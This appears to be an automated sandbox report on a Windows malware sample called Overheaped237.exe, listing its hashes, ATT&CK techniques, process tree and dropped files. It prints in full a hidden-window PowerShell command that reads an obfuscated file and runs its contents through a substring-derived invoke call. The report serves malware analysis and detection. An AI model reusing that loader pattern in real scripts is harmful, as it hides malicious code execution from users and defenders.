8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-12-2024 09:27

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General

Target

Overheaped237.exe
Size

573KB
MD5

8f4adfd3b8c55670a99389ba3905e43d
SHA1

24e4a66a55b65fe58933ac92b161befc5c5df977
SHA256

8126f3d67e43f2c93f178b68cc6a791a61c7f4f986cd5fb0d213780c4aa8e2d4
SHA512

9ddc6fb7d8f92d4ad22e1842704dfd8cad0184f86c9482fb2cbc051008a46bb87449c8abba66b4179fc602978c31ea9215cd070c7008e39f71b6d24a43c3c527
SSDEEP

12288:d93jliesAP5dtwQYYy016wq2FFbyADqbM5LugDkzicmrdZNf:d93jliR4jasy01DHn+AWYROicudZNf

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2808	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1704	Overheaped237.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\udlndingelovene\troldunge.ini	Overheaped237.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Overheaped237.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2808	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 2808	1704	Overheaped237.exe	30
PID 1704 wrote to memory of 2808	1704	Overheaped237.exe	30
PID 1704 wrote to memory of 2808	1704	Overheaped237.exe	30
PID 1704 wrote to memory of 2808	1704	Overheaped237.exe	30

C:\Users\Admin\AppData\Local\Temp\Overheaped237.exe
"C:\Users\Admin\AppData\Local\Temp\Overheaped237.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Circumcorneal=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Deinos253\Ekstensives.Bnd';$Liturgiernes=$Circumcorneal.SubString(18059,3);.$Liturgiernes($Circumcorneal) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\justifikationssager.lnk

Filesize
764B

MD5
a1b911362f88c35a0c938b19ff443eea

SHA1
a9b0e2ddb7e4b8dc74c55620d8598980fddce038

SHA256
7bf7ce762ef941f22d026fd6b8d6ac1c5b57b9dd7fa31324da6dda69fef4bf02

SHA512
af9126ebcd7c859673e66f0597e05737a62095e7ec624db2b249b04721bb5719b3dfc57a69d452ea66a647d7025d4b69ccefa4c38693fd703fb6a0fade0ca833

Download Submit
\Users\Admin\AppData\Local\Temp\nsoBAAA.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
memory/2808-38-0x0000000074601000-0x0000000074602000-memory.dmp

Filesize
4KB

Download
memory/2808-39-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download
memory/2808-40-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download
memory/2808-42-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download
memory/2808-41-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download
memory/2808-43-0x0000000074600000-0x0000000074BAB000-memory.dmp

Filesize
5.7MB

Download